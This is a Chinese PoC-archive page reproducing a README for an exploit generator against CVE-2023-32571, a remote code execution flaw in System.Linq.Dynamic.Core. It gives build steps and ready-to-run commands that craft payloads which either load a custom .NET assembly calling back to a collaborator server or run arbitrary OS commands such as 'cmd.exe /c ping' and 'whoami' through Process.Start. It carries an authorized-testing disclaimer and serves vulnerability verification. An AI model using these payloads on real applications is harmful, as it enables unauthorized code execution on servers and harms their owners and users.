目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-32571 PoC — Dynamic Linq 安全漏洞

来源
关联漏洞
标题: Dynamic Linq 安全漏洞 (CVE-2023-32571)
Description:Dynamic Linq是免费开源LINQ 动态查询库。 Dynamic Linq 1.0.7.10 到 1.2.25版本存在安全漏洞,该漏洞源于允许攻击者在解析Where、Select、OrderBy 等不受信任输入的方法时执行任意代码和命令。
Description
Proof of Concept for CVE-2023-32571
介绍
# 🐞 CVE-2023-32571 - System.Linq.Dynamic.Core Remote Code Execution

Proof of Concept for CVE-2023-32571, a remote code execution vulnerability in `System.Linq.Dynamic.Core` (1.0.7.10 to 1.2.25). This vulnerability allows attackers to execute arbitrary code and commands when untrusted input to methods including Where, Select, OrderBy is parsed.

## ⚠️ Disclaimer

> This tool is provided for **educational and authorized testing purposes only**. Usage of this tool for attacking targets without prior mutual consent is illegal. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

## 🎯 Prerequisites

- .NET 9.0 SDK or later
- Target application using vulnerable version of System.Linq.Dynamic.Core (1.0.7.10 to 1.2.25)
- A collaborator server (e.g., Burp Collaborator, [Interactsh](https://github.com/projectdiscovery/interactsh)) to observe callbacks

## 🛠️ Building the Project

1. **Build the project:**
   ```bash
   dotnet build --configuration Release
   ```
   The build will produce
   - Payload DLL at `Payload/bin/Release/netstandard2.0/Payload.dll`
   - Payload Generator at `Generator/bin/Release/net9.0/Generator.dll`

## 🚀 Usage

### Modes

The tool supports two modes:
1. AssemblyLoad (Mode 0): Load and execute a custom .NET assembly
2. ProcessStart (Mode 1): Execute system commands directly via Process.Start

### Mode 0: AssemblyLoad (Default)

```bash
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
```

```pwsh
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
```

### Mode 1: ProcessStart (Direct Command Execution)

```bash
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
```

### ⚙️ Parameters

- `--mode`: Exploitation mode (0=AssemblyLoad, 1=ProcessStart)
- `--file`: Path to the .NET assembly to load (required for AssemblyLoad mode)
- `--type`: Fully qualified type name to instantiate (required for AssemblyLoad mode)
- `--parameters`: Parameters based on mode:
  - AssemblyLoad: Constructor parameters (comma-separated)
  - ProcessStart: Command to execute (e.g., 'cmd.exe /c whoami' or 'bash -c whoami')
- `--encoding`: Encoding method for AssemblyLoad mode (0=Hex, 1=Base64)

## 📚 References

- [NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-32571)
- [NCCGROUP Advisory](https://www.nccgroup.com/research-blog/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/)
- [System.Linq.Dynamic.Core GitHub Repository](https://github.com/zzzprojects/System.Linq.Dynamic.Core)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →